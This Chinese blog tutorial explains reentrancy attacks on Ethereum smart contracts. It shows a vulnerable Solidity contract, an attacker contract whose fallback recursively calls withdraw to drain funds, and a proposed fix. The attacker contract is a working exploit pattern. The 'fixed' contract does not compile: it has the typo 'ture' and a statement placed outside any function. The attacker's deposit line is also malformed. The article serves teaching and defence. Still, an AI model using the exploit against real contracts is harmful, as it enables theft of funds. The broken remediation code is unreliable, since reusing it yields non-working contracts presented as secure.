智能合约之可重入攻击

以太坊智能合约到现在,出现了不少由于合约代码不严谨,导致黑客利用合约代码漏洞进行攻击来获取暴利。接下来我为大家来介绍一下常见的合约漏洞类型,包含重入攻击,短地址攻击,数据溢出攻击,可预测随机数攻击,篡改实践攻击等。下面大家介绍一下可重入攻击。

可重入攻击也就是攻击方发送一笔交易,导致合约一致重复执行直到将合约账户的资源消耗完。这有点类似于C语言的递归函数。攻击方能成功进行可重入攻击,主要依赖于Soildity为智能合约提供的fallback和call函数,下面先对这两个函数的功能进行介绍。

以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:

function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。

call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,带有漏洞的合约代码如下:

contract Reentrance {
  mapping(address => uint) public balances;

    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  // 查看余额
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  // 提现
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) { //造成可重入攻击的代码
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}
  

上述合约代码中的withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。如果发起交易方也是智能合约账户,当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候,由于调用call函数,将会调用攻击方合约的fallback函数,如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入,将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔,攻击方的合约代码如下:

contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address _target) public payable {
    entrance = Reentrance(_target);
  }

  function deposit() public payable{
      entrance.donate.value(msg.value);
  }

  function attack() public{
    entrance.withdraw(0.5 ether);
    entrance.withdraw(0.5 ether);
  }

  function() public payable{
   //攻击方将会递归进行提币操作
    entrance.withdraw(0.5 ether);
  }

  function withdraw() public {
      msg.sender.transfer(this.balance);
  }
}

攻击的大概过程如下:
智能合约之可重入攻击_第1张图片
比如ReentranceAttack在Reentrance上有10个以太币,而Reentrance合约账户本身持有100个以太币。如果ReentranceAttack向Reentrance发起1个以太坊提币的请求。经过攻击,ReentranceAttack会提走Reentrance的100个以太币,并且在Reentrance合约中ReentranceAttack账户持有以太币的余额为9,疯狂吧!

那么怎么才能规避可重入攻击的风险呢?
1.提现操作前加入bool类型的锁
2.在转账前对金额进行算术处理
3.转账采用send()或者transfer()来进行转账操作(请注意send和transfer的区别)

修改后的智能合约代码如下:

contract Reentrance {
  mapping(address => uint) public balances;
  mapping(address => bool) public allow;

    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  // 查看余额
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  // 提现
  allow[msg.sender]  = false;
  function withdraw(uint _amount) public {
  	require(!allow[msg.sender]);
  	require(balances[msg.sender] >= _amount);
	
	 allow[msg.sender]  = ture;
	  
      if(msg.sender.send(_amount)) { 
        	balances[msg.sender] -= _amount;
      }  
     allow[msg.sender]  = false;
  }

  function() public payable {}
}

以上是对智能合约可重入攻击的简单分析,有不正确的地方希望大家能够留言指出,万分感谢!!!

你可能感兴趣的:(智能合约)